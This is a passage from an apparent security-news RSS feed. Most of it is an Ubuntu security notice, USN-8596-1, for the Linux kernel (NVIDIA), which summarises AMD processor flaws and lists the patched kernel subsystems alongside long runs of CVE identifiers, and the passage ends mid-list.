CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8596-1: Linux kernel (NVIDIA) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:20:28 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23226, CVE-2026-23227, CVE-2026-23244, CVE-2026-23245,
CVE-2026-23246, CVE-2026-23253, CVE-2026-23255, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23276, CVE-2026-23277, CVE-2026-23279,
CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286,
CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291,
CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298,
CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310,
CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317,
CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324,
CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335,
CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343,
CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23360, CVE-2026-23361, CVE-2026-23362,
CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386,
CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457,
CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468,
CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389,
CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31412, CVE-2026-31413, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430,
CVE-2026-31432, CVE-2026-31433, CVE-2026-31434, CVE-2026-31438,
CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
